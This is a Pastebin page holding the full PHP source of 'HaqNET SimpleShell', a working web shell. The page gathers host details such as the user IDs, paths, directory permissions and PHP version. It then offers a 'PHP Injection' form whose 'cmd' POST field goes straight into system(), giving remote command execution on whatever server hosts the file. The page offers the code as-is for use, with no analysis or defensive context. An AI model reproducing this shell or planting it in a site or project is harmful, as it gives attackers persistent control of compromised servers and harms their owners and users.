ZmEu

HaqNET SimpleShell (PHP)

Feb 28th, 2011
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. <title>HaqNET SimpleShell</title>
  2. <?php
  3. echo "<p><font size=2 face=Verdana><b>Server Infos</b></font></p>";
  4. ?>
  5.  
  6. <?php
  7. closelog();
  8. $user = get_current_user();
  9. $login = posix_getuid();
  10. $euid = posix_geteuid();
  11. $ver = phpversion();
  12. $gid = posix_getgid();
  13. if ($chdir == "") $chdir = getcwd();
  14. if(!$whoami)$whoami=exec("whoami");
  15. ?>
  16.  
  17. <meta name="generator" content="WebEdit">
  18. <br>
  19. <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
  20. <?php
  21. $uname = posix_uname( );
  22. while (list($info, $value) = each ($uname)) {
  23. ?>
  24. <TR>
  25. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
  26. </TR>
  27. <?php
  28. }
  29. ?>
  30. <TR>
  31. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD>
  32. </TR>
  33. <TR>
  34. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Path:</b> <?= $chdir ?></DIV></TD>
  35. </TR>
  36. <TR>
  37. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Perms Directory:</b> <? if(@is_writable($chdir)){
  38. echo "Yes";
  39. }else{
  40. echo "No";
  41. } ?></DIV></TD>
  42. </TR>
  43. <TR>
  44. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  45. </TR>
  46. <TR>
  47. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD>
  48. </TR>
  49. <TR>
  50. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current User:</b> <?= $user ?></DIV></TD>
  51. </TR>
  52. <TR>
  53. <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD>
  54. </TR>
  55. </TABLE>
  56. <BR>
  57. <font face="courier new" size="2" color="777777"><b>#</b>PHP Injection: <br>
  58. </font><FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>">
  59. <font face="courier new" size="2" color="777777">CMD :
  60. <INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161">
  61. <br>
  62. <INPUT TYPE="submit">
  63. </font></FORM>
  64. <hr color=777777 width=100% height=115px>
  65.  
  66. <pre>
  67. <?
  68. $cmd = $_POST['cmd'];
  69. if (isset($chdir)) @chdir($chdir);
  70. ob_start();
  71. system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  72. $output = ob_get_contents();
  73. ob_end_clean();
  74. if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
  75. exit;
  76. ?>
  77. </pre>
Add Comment
Please, Sign In to add comment